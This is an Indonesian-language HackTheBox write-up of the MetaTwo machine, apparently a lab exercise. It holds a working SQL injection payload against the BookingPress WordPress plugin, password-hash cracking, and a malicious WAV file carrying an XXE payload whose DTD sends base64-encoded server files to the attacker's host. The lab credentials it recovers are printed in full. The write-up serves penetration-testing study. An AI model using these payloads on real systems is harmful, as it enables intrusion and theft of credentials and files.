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HackTheBox MetaTwo Write Up

Information Gathering

Kita mulai dengan memindai port mesin dengan nmap dan port yang terbuka seperti command terminal dibawah

Terminal window
──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# nmap -sC -sV 10.10.11.186
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-21 07:41 PST
Nmap scan report for metapress.htb (10.10.11.186)
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-generator: WordPress 5.6.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: MetaPress – Official company site
|_http-trane-info: Problem with XML parsing of /evox/about
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.93%I=7%D=11/21%Time=637B9C24%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
SF:e\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 222.62 seconds

Dari hasil scan nmap kita dapat mengetahui bahwa port 80, 21, 22 terbuka. dan tambahkan domain metapress.htb ke file hosts kita

Terminal window
┌──(root㉿yupy)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 yupy
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.186 metapress.htb

21 ftp memerlukan kredensial, tidak ada hubungannya untuk saat ini Coba 80, ini sepertinya situs WordPress. Kita buka browser dan masukkan domain metapress.htb alt text

Setelah beberapa saat daftar dengan wpscan kami menemukan plugin BookingPress. Kami menemukanya dengan hasil scan wpscan. Plugin ini memiliki Kerentanan yang dapat kami manfaatkan, kami mulai dengan membuat acara dengan [bookingpress_form] sebagai data di bidang yang memungkinkan. alt text

Kita mencoba melihat request yang dikirimkan ke server dengan burp suite. untuk mendapatkan _wpnonce. alt text

Kemudian, ikuti contoh payload dari tautan untuk menguji teorinya.

Terminal window
┌──(root㉿yupy)-[~]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=363fa60512&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 21 Nov 2022 16:21:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
Terminal window
┌──(root㉿yupy)-[~]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=363fa60512&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 21 Nov 2022 17:09:10 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"admin,manager","bookingpress_category_id":"$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

Kita dapatkan username dan password dari hasil query. kita crack password dengan john the ripper.

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# cat hash.txt
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash.txt
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$)])
partylikearockstar (manager)
Session completed

Kita dapatkan password untuk user manager. Kita login ke wordpress dengan username manager dan password yang didapatkan. alt text

Meskipun kami masuk, kami hanya dapat mengakses media. alt text

Kita mencari apa ada exploit yang bisa reverse shell, dan kita menemukan Ada artikel/repositori yang memberi tahu kami cara menyuntikkan waf berbahaya dan membaca file melalui XXE.

Kami mulai dengan membuat file .wav berbahaya kami yang disebut payload (ingat untuk mengubah ip Anda)

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.35/shell.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Hal berikutnya adalah membuat dtd yang akan dihubungkan, itu harus sebagai berikut:

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# cat shell.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hostname">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.35/?p=%file;'>" >

Exploitation

Dengan dua file di direktori yang sama, kami membuat server http dan mengunggah wav berbahaya dan dtd.

alt text
Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.186 - - [21/Nov/2022 08:42:15] "GET /shell.dtd HTTP/1.1" 200 -
10.10.11.186 - - [21/Nov/2022 08:42:15] "GET /?p=bWV0YTIK HTTP/1.1" 200 -

Kami mendekodekannya dan kami dapat melihat bahwa itu sesuai dengan /etc/hostname yang kami tentukan

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# echo bWV0YTIK | base64 -d
meta2

Kami mengubah /etc/hostname di file dtd menjadi ../wp-config.php jika ada kredensial

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# cat shell.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.35/?p=%file;'>" >

Kami mengunggah file lagi dan kali ini kami mendapatkan data yang jauh lebih banyak.

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.186 - - [21/Nov/2022 08:43:37] "GET /shell.dtd HTTP/1.1" 200 -
10.10.11.186 - - [21/Nov/2022 08:43:37] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== HTTP/1.1" 200 -

Post Exploitation

Saat kita mendekodekannya, kita dapat melihat php, yang berisi beberapa kredensial untuk ftp

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# echo "PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==" | base64 -d
php
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Dengan kredensial kami terhubung ke ftp dan melihat beberapa direktori

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# ftp metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (metapress.htb:root): metapress.htb
331 Password required for metapress.htb
Password: 9NYS_ii@FyL_p5M2NvJ
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
226 Transfer complete
ftp>

Kami dapat melihat file php jadi kami mengunduhnya, sepertinya berisi kredensial

Terminal window
ftp> cd mailer
ftp> dir
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php
226 Transfer complete
ftp> get send_email.php
local: send_email.php remote: send_email.php
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
226 Transfer complete
1126 bytes received in 0.00 secs (8.3243 MB/s)
ftp> exit
221 Goodbye.
php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}

Dengan kredensial kami terhubung ke ssh dan kami dapat melihat benderanya

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# ssh jnelson@10.10.11.186
The authenticity of host '10.10.11.186 (10.10.11.186)' can't be established.
ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:24: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.186' (ED25519) to the list of known hosts.
jnelson@10.10.11.186's password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Nov 21 16:47:36 2022 from 10.10.14.35
jnelson@meta2:~$ id
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt
9*******************************1

Priveleges Escalation

Melihat file tersembunyi kita bisa melihat .passpie dan di dalam file .keys

Terminal window
jnelson@meta2:~$ ls -la
total 36
drwxr-xr-x 4 jnelson jnelson 4096 Nov 21 16:01 .
drwxr-xr-x 3 root root 4096 Oct 5 15:12 ..
lrwxrwxrwx 1 root root 9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 15:46 .profile
-rw-r----- 1 root jnelson 33 Nov 21 14:31 user.txt

Di baris terakhir kita bisa melihat kunci pribadi, kita berikan ke tim kita sebagai kunci

Terminal window
jnelson@meta2:~$ cat .passpie/.keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
WLQzUGFzc3BpZSAoQXV0by1nZW5lcmF0ZWQgYnkgUGFzc3BpZSkgPHBhc3NwaWVA
bG9jYWw+iJAEExEIADgWIQR8Z4anVhvIT1BIZx44d3XDV0XSAwUCYrhX1gIbIwUL
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utvl+03LgmilpA5OHqmpRWd24UhVSAD+KiO8l4wV2VOPkXfoGSqe+1DRXanAsoRp
dRqQCcshEQ25AQ0EYrhX1hAEAIQaf8Vj0R+p/jy18CX9Di/Jlxgum4doFHkTtpqR
ZBSuM1xOUhNM58J/SQgXGMthHj3ebng2AvYjdx+wWJYQFGkb5VO+99gmOk28NY25
